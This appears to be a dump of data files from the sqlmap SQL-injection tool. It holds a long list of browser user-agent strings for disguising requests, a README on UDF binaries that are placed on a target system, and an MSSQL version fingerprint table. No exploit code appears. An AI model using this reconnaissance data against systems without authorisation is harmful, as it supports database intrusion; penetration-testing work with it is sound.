Safari/605.1.15 Mozilla/5.0 (Macintosh; Intel Mac OS X 15_4 ADSSO) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0 Unique/97.7.7239.70 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.0 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 Edg/133.0.0.0 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Edg/134.0.0.0 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 Edg/135.0.0.0 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0 (Edition std-1) Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0 (Edition std-2) Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Edg/136.0.0.0 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 YaBrowser/25.6.0.0 Safari/537.36 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.7151.104 ADG/11.1.4905 Safari/537.36 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Edg/138.0.0.0 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.7204.92 Safari/537.36 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.7204.93 Safari/537.36 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.7204.96 Safari/537.36 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.7204.97 Safari/537.36 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Avast/139.0.0.0 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 AVG/139.0.0.0 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0 Herring/90.1.1459.6 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Norton/139.0.0.0 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 OpenWave/96.4.8983.84 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.7258.5 Safari/537.36 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 Edg/140.0.0.0 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.7339.16 Safari/537.36 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4482.0 Safari/537.36 Edg/92.0.874.0 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36 Edg/99.0.1150.36 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:139.0) Gecko/20100101 Firefox/139.0 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:143.0) Gecko/20100101 Firefox/143.0 Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0 Mozilla/5.0 (X11; CrOS x86_64 13904.97.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.167 Safari/537.36 Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Mozilla/5.0 (X11; CrOS x86_64 14816.131.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 Chrome/116.0.0.0 Safari/537.36 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Edg/138.0.0.0 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/28.0 Chrome/130.0.0.0 Safari/537.36 Mozilla/5.0 (X11; Linux x86_64; rv:121.0) Gecko/20100101 Firefox/121.0 Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0 Mozilla/5.0 (X11; Linux x86_64; rv:138.0) Gecko/20100101 Firefox/138.0 Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0 Mozilla/5.0 (X11; Linux x86_64; rv:141.0) Gecko/20100101 Firefox/141.0 Mozilla/5.0 (X11; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:141.0) Gecko/20100101 Firefox/141.0 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0 ================================================ FILE: data/udf/README.txt ================================================ Binary files in this folder are data files used by sqlmap on the target system, but not executed on the system running sqlmap. They are licensed under the terms of the GNU Lesser General Public License and their source code is available on https://github.com/sqlmapproject/udfhack. ================================================ FILE: data/xml/banner/generic.xml ================================================ ================================================ FILE: data/xml/banner/mssql.xml ================================================ 10.50.2418 1 CTP 10.50.1797 0+Cumulative Update 8 10.50.1790 0+Q2494086 10.50.1777 0+Cumulative Update 7 10.50.1765 0+Cumulative Update 6 10.50.1753 0+Cumulative Update 5 10.50.1746 0+Cumulative Update 4 10.50.1734 0+Cumulative Update 3 10.50.1720 0+Cumulative Update 2 10.50.1702 0+Cumulative Update 1 10.50.1600.1 0 10.50.1450.3 0 10.00.4311 2+Q2494094 10.00.4285 2+Cumulative Update 4 10.00.4279 2+Cumulative Update 3 10.00.4272 2+Cumulative Update 2 10.00.4266 2+Cumulative Update 1 10.00.4000 2 10.00.2841 1+Q2494100 10.00.2821 1+Cumulative Update 14 10.00.2816 1+Cumulative Update 13 10.00.2808 1+Cumulative Update 12 10.00.2804 0+Q2413738 10.00.2799 1+Cumulative Update 10 10.00.2789 1+Cumulative Update 9 10.00.2775 1+Cumulative Update 8 10.00.2766 1+Cumulative Update 7 10.00.2760 0+Q978839 10.00.2758 1+Q978791 10.00.2757 1+Cumulative Update 6 10.00.2746 1+Cumulative Update 5 10.00.2740 0+Q976761 10.00.2734 1+Cumulative Update 4 10.00.2723 1+Cumulative Update 3 10.00.2714 1+Cumulative Update 2 10.00.2712 0+Q970507 10.00.2710 1+Cumulative Update 1 10.00.2531 1 10.00.1835 0+Cumulative Update 10 10.00.1828 0+Cumulative Update 9 10.00.1823 0+Cumulative Update 8 10.00.1818 0+Q973601 10.00.1812 0+Cumulative Update 6 10.00.1806 0+Cumulative Update 5 10.00.1798 0+Cumulative Update 4 10.00.1787 0+Cumulative Update 3 10.00.1779 0+Q958186 10.00.1771 0+Q958611 10.00.1763 0+Q956717 10.00.1755 0+Q957387 10.00.1750 0+Q956718 10.00.1600.22 0 10.00.1300.13 February CTP 10.00.1049.14 July CTP 10.00.1019.17 June CTP 9.00.5292 4+Q2494123 9.00.5266 4 Cumulative Update 3 9.00.5254 4 Cumulative Update 1 9.00.5000 4 9.00.4912 4 CTP 9.00.4340 3+Q2494112 9.00.4325 3+Q2438344 9.00.4315 3+Q2438344 9.00.4311 3+Q2345449 9.00.4309 3+Q2258854 9.00.4305 3+Q983329 9.00.4294 3+Q980176 9.00.4285 3+Q978915 9.00.4278 3+Q978791 9.00.4273 3+Q976951 9.00.4266 3+Q974648 9.00.4230 3+Q972511 9.00.4226 3+Q970279 9.00.4224 3+Q971409 9.00.4220 3+Q967909 9.00.4216 3+Q967101 9.00.4211 3+Q961930 9.00.4207 3+Q959195 9.00.4053 3 9.00.4035 3 9.00.3356 2+Cumulative Update 17 9.00.3355 2+Q216793 9.00.3330 2+Q972510 9.00.3328 2+Q970278 9.00.3327 2+Q948567 9.00.3325 2+Q967908 9.00.3320 2+Q969142 9.00.3318 2+Q967199 9.00.3315 2+Q962970 9.00.3310 2+Q960090 9.00.3303 2+Q962209 9.00.3302 2+Q961479 9.00.3301 2+Q958735 9.00.3295 2+Q959132 9.00.3294 2+Q956854 9.00.3291 2+Q956889 9.00.3289 2+Q937137 9.00.3282 2+Q953752 9.00.3261 2+Q955754 9.00.3260 2+Q954950 9.00.3259 2+Q954669 9.00.3257 2+Q951217 9.00.3253 2+Q954054 9.00.3244 2+Q952330 9.00.3242 2+Q951190 9.00.3240 2+Q951204 9.00.3239 2+Q949095 9.00.3235 2+Q950189 9.00.3232 2+Q949959 9.00.3231 2+Q949687 9.00.3230 2+Q949199 9.00.3228 2+Q946608 9.00.3224 2+Q947463 9.00.3222 2+Q945640 9.00.3221 2+Q942908 9.00.3215 2+Q941450 9.00.3209 2 9.00.3208 2+Q944902 9.00.3206 2+Q944677 9.00.3205 2 9.00.3203 2 9.00.3200 2+Q941450 9.00.3195 2 9.00.3194 2+Q940933 9.00.3186 2+Q939562 9.00.3182 2+Q940128 9.00.3180 2+Q939942 9.00.3179 2+Q938243 9.00.3178 2 9.00.3177 2+Q939563 9.00.3175 2+Q936305 9.00.3171 2+Q937745 9.00.3169 2+Q937041 9.00.3166 2+Q936185 9.00.3162 2+Q932610 9.00.3161 2+Q935356 9.00.3159 2+Q934459 9.00.3156 2+Q934226 9.00.3155 2+Q933549 9.00.3154 2+Q934106 9.00.3153 2+Q933564 9.00.3152 2+Q933097 9.00.3080 2+Q970895 9.00.3077 2+Q960089 9.00.3073 2+Q954606 9.00.3054 2+Q934458 9.00.3050 2+Q933508 9.00.3043 2+Q933508 9.00.3042 'Fixed' 2 9.00.3033 2 CTP 9.00.3027 2 CTP 9.00.3026 1+Q929376 9.00.2249 1+Q948344 9.00.2245 1+Q933573 9.00.2243 1+Q944968 9.00.2242 1+Q943389 9.00.2239 1+Q940961 9.00.2237 1+Q940719 9.00.2236 1+Q940287 9.00.2234 1+Q937343 9.00.2233 1+Q933499 9.00.2232 1+Q937277 9.00.2231 1+Q934812 9.00.2230 1+Q936179 9.00.2229 1+Q935446 9.00.2227 1+Q934066 9.00.2226 1+Q933762 9.00.2224 1+Q932990 9.00.2223 1+Q932393 9.00.2221 1+Q931593 9.00.2219 1+Q931329 9.00.2218 1+Q931843 9.00.2216 1+Q931821 9.00.2215 1+Q931666 9.00.2214 1+Q929240 9.00.2211 1+Q930283 9.00.2209 1+Q929278 9.00.2208 1+Q929179 9.00.2207 1+Q928394< 9.00.2206 1+Q928539 9.00.2202 1+Q927643 9.00.2201 1+Q927289 9.00.2198 1+Q926773 9.00.2196 1+Q926285 9.00.2195 1+Q926240 9.00.2194 1+Q925744 9.00.2192 1+Q924954 9.00.2191 1+Q925135 9.00.2190 1+Q925227 9.00.2189 1+Q925153 9.00.2187 1+Q923849 9.00.2183 1+Q929404 9.00.2181 1+Q923624 9.00.2176 1+Q923296 9.00.2175 1+Q922578 9.00.2174 1+Q922063 9.00.2167 1+Q920974 9.00.2164 1+Q919636 9.00.2156 1+Q919611 9.00.2153 1+builds 1531 9.00.2050 1+.NET Vulnerability fix 9.00.2047 1 0 9.00.2040 1 CTP 9.00.2029 1 Beta 9.00.1561 0+Q932556 9.00.1558 0+Q926493 9.00.1554 0+Q926292 9.00.1551 0+Q922804 9.00.1550 0+Q917887 9.00.1547 0+Q918276 9.00.1545 0+Q917905 9.00.1541 0+Q917888 9.00.1539 0+Q917738 9.00.1538 0+Q917824 9.00.1536 0+Q917016 9.00.1534 0+Q916706 9.00.1533 0+Q916086 9.00.1532 0+Q916046 9.00.1531 0+Q915918 9.00.1528 0+Q915112 9.00.1519 0+Q913494 9.00.1518 0+Q912472 9.00.1514 0+Q912471 9.00.1503 0+Q911662 9.00.1502 0+Q915793 9.00.1500 0+Q910416 9.00.1406 0+Q932557 9.00.1399 0 9.00.1314 September CTP Release 9.00.1187 June CTP Release 9.00.1116 April CTP Release 9.00.1090 March CTP Release 9.00.981 December CTP Release 9.00.951 October CTP Release 9.00.917 Internal build 9.00.852 Beta 2 9.00.849 Internal build 9.00.844 Internal build 9.00.836 Express Ed. Tech Preview 9.00.823 Internal build 9.00.790 Internal build 9.00.767 Internal build 9.00.747 Internal build 9.00.645 MS Internal 9.00.608 Beta 1 7.00.1152 4+Q941203 7.00.1150 4+Q891116 7.00.1144 4+Q830233 7.00.1143 4+Q829015 7.00.1097 4+Q822756 7.00.1094 4+Q815495 7.00.1079 329499 7.00.1078 4+Q327068 7.00.1077 4+Q316333 7.00.1063 4 7.00.1033 3+Q324469 7.00.1026 3+Q319851 7.00.1004 3+Q304851 7.00.996 3+Q299717 7.00.978 3+Q285870 7.00.977 3+Q284351 7.00.970 3+Q283837 7.00.961 3 7.00.921 2+Q283837 7.00.919 2+Q282243 7.00.918 2+Q280380 7.00.917 2+Q279180 7.00.910 2+Q275901 7.00.905 2+Q274266 7.00.889 2+Q243741 7.00.879 2+Q281185 7.00.857 2+Q260346 7.00.842 2 7.00.839 2 Unidentified 7.00.835 2 Beta 7.00.776 1+Q258087 7.00.770 1+Q252905 7.00.745 1+Q253738 7.00.722 1+Q239458 7.00.699 1 7.00.689 1 Beta 7.00.677 MSDE O2K Dev 7.00.662 Gold+Q232707 7.00.658 Gold+Q244763 7.00.657 Gold+Q229875 7.00.643 Gold+Q220156 7.00.623 Gold 7.00.583 RC1 7.00.517 Beta 3 8.00.2283 4+Q971524 8.00.2279 4+Q959678 8.00.2271 4+Q946584 8.00.2265 4+Q944985 8.00.2253 4+Q939317 8.00.2249 4+Q936232 8.00.2248 4+Q935950 8.00.2246 4+Q935465 8.00.2245 4+Q933573 8.00.2244 4+Q934203 8.00.2242 4+Q929131 8.00.2238 4+Q931932 8.00.2234 4+Q929440 8.00.2232 4+Q928568 8.00.2231 4+Q928079 8.00.2229 4+Q927186 8.00.2226 4+Q925684 8.00.2223 4+Q925678 8.00.2218 4+Q925297 8.00.2217 4+Q924664 8.00.2215 4+Q924662 8.00.2209 4+Q923797 8.00.2207 4+Q923344 8.00.2201 4+Q920930 8.00.2199 4+Q919221 8.00.2197 4+Q919133 8.00.2196 4+Q919165 8.00.2194 4+Q917972 8.00.2192 4+Q917606 8.00.2191 4+Q916698 8.00.2189 4+Q916652 8.00.2187 4+916287 8.00.2180 4+Q913684 8.00.2175 4+Q911678 8.00.2172 4+Q910707 8.00.2171 4+Q909369 8.00.2168 4+Q907813 8.00.2167 4+Q921293 8.00.2166 4+Q909734 8.00.2162 4+Q904660 8.00.2156 4+Q906790 8.00.2151 4+Q903742 8.00.2148 4+Q899430 8.00.2147 4+Q899410 8.00.2145 4+Q826906 8.00.2055 4+Q959420 8.00.2040 4+Q899761 8.00.2039 4 8.00.2026 4 Beta 8.00.1547 3+Q899410 8.00.1037 3+Q930484 8.00.1036 3+Q929410 8.00.1035 3+Q917593 8.00.1034 3+Q915328 8.00.1029 3+Q902852 8.00.1027 3+Q900416 8.00.1025 3+Q899428 8.00.1024 3+Q898709 8.00.1021 3+Q887700 8.00.1020 3+Q896985 8.00.1019 3+Q897572 8.00.1017 3+Q896425 8.00.1014 3+Q895123 8.00.1013 3+Q891866 8.00.1009 3+Q894257 8.00.1007 3+Q893312 8.00.1000 3+Q891585 8.00.997 3+Q891311 8.00.996 3+Q891017 8.00.994 3+Q890942 8.00.993 3+Q890925 8.00.991 3+Q889314 8.00.990 3+Q890200 8.00.988 3+Q889166 8.00.985 3+Q889239 8.00.980 3+Q887974 8.00.977 3+Q888007 8.00.973 3+Q884554 8.00.972 3+Q885290 8.00.970 3+Q872842 8.00.967 3+Q878501 8.00.962 3+Q883415 8.00.961 3+Q873446 8.00.959 3+Q878500 8.00.957 3+Q870994 8.00.955 3+Q867798 8.00.954 3+Q843282 8.00.952 3+Q867878 8.00.944 3+Q839280 8.00.937 3+Q841776 8.00.936 3+Q841627 8.00.935 3+Q841401 8.00.934 3+Q841404 8.00.933 3+Q840856 8.00.929 3+Q839529 8.00.928 3+Q839589 8.00.927 3+Q839688 8.00.926 3+Q839523 8.00.923 3+Q838460 8.00.922 3+Q837970 8.00.919 3+Q837957 8.00.916 3+Q317989 8.00.915 3+Q837401 8.00.913 3+Q836651 8.00.911 3+Q837957 8.00.910 3+Q834798 8.00.908 3+Q834290 8.00.904 3+Q834453 8.00.892 3+Q833710 8.00.891 3+Q836141 8.00.879 3+Q832977 8.00.878 3+Q831950 8.00.876 3+Q830912 8.00.873 3+Q830887 8.00.871 3+Q830767 8.00.870 3+Q830262 8.00.869 3+Q830588 8.00.867 3+Q830366 8.00.866 3+Q830366 8.00.865 3+Q830395 8.00.863 3+Q829205 8.00.859 3+Q821334 8.00.858 3+Q828637 8.00.857 3+Q828017 8.00.856 3+Q828096 8.00.854 3+Q828699 8.00.852 3+Q830466 8.00.851 3+Q826754 8.00.850 3+Q826860 8.00.848 3+Q826822 8.00.847 3+Q826433 8.00.845 3+Q826364 8.00.844 3+Q826080 8.00.842 3+Q825043 8.00.841 3+Q825225 8.00.840 3+Q319477 8.00.839 3+Q823877 8.00.837 3+Q821741 8.00.819 3+Q826161 8.00.818 3+Q821277 8.00.816 3+Q818766 8.00.814 3+Q819662 8.00.811 3+Q819248 8.00.807 3+Q818899 8.00.804 3+Q818729 8.00.801 3+Q818540 8.00.800 3+Q818414 8.00.798 3+Q817464 8.00.794 3+Q817464 8.00.791 3+Q815249 8.00.790 3+Q817081 8.00.789 3+Q816840 8.00.788 3+Q816985 8.00.781 3+Q815057 8.00.780 3+Q816084 8.00.779 3+Q814035 8.00.776 3+Unidentified 8.00.775 3+Q815115 8.00.769 3+Q814889 8.00.765 < 8.00.763 3+Q814113 8.00.762 3+Q814032 8.00.760 3 8.00.743 2+Q818406 8.00.741 2+Q818096 8.00.736 2+Q816937 8.00.735 2+Q814889 8.00.733 2+Q813759 8.00.730 2+Q813769 8.00.728 2+Q814460 8.00.725 2+Q812995 8.00.723 2+Q812798 8.00.721 2+Q812250 8.00.718 2+Q811703 8.00.715 2+Q810688 8.00.714 2+Q811478 8.00.713 2 8.00.710 2 8.00.705 2+Q810920 8.00.703 2+Q810526 8.00.702 2+Q328551 8.00.701 2+Q810026 8.00.700 2+Q810072 8.00.696 2+Q810052 8.00.695 2+Q331885 8.00.693 2+Q330212 8.00.689 2+Q329499 8.00.688 2+Q329487 8.00.686 2+Q316333 8.00.682 3+Q319851 8.00.679 2+Q316333 8.00.678 2+Q328354 8.00.667 2+8 8.00.665 2+8 8.00.661 2+Q326999 8.00.655 2+7 8.00.652 2+Q810010? 8.00.650 2+Q322853 8.00.644 2+Q324186 8.00.608 2+Q319507 8.00.604 2+3 8.00.594 2+Q319477 8.00.578 2+Q317979 8.00.561 2+1 8.00.558 2+Q314003 8.00.552 2+Q313002 8.00.534 2.01 8.00.532 2 8.00.475 1+1 8.00.474 1+Q315395 8.00.473 1+Q314003 8.00.471 1+Q313302 8.00.469 1+Q313005 8.00.452 1+Q308547 8.00.444 1+Q307540 8.00.443 1+Q307538 8.00.428 1+Q304850 8.00.384 1 8.00.287 0+Q297209 8.00.251 0+Q300194 8.00.250 0+Q291683 8.00.249 0+Q288122 8.00.239 0+Q285290 8.00.233 0+Q282416 8.00.231 0+Q282279 8.00.226 0+Q278239 8.00.225 0+Q281663 8.00.223 0+Q280380 8.00.222 0+Q281769 8.00.218 0+Q279183 8.00.217 0+Q279293 8.00.211 0+Q276329 8.00.210 0+Q275900 8.00.205 0+Q274330 8.00.204 0+Q274329 8.00.194 0 8.00.190 Gold, no 8.00.100 Beta 2 8.00.078 EAP5 8.00.047 EAP4 ================================================ FILE: data/xml/banner/mysql.xml ================================================ ================================================ FILE: data/xml/banner/oracle.xml ================================================ ================================================ FILE: data/xml/banner/postgresql.xml ================================================ ================================================ FILE: data/xml/banner/server.xml ================================================ ================================================ FILE: data/xml/banner/servlet-engine.xml ================================================ ================================================ FILE: data/xml/banner/set-cookie.xml ================================================ ================================================ FILE: data/xml/banner/sharepoint.xml ================================================ ================================================ FILE: data/xml/banner/x-aspnet-version.xml ================================================ ================================================ FILE: data/xml/banner/x-powered-by.xml 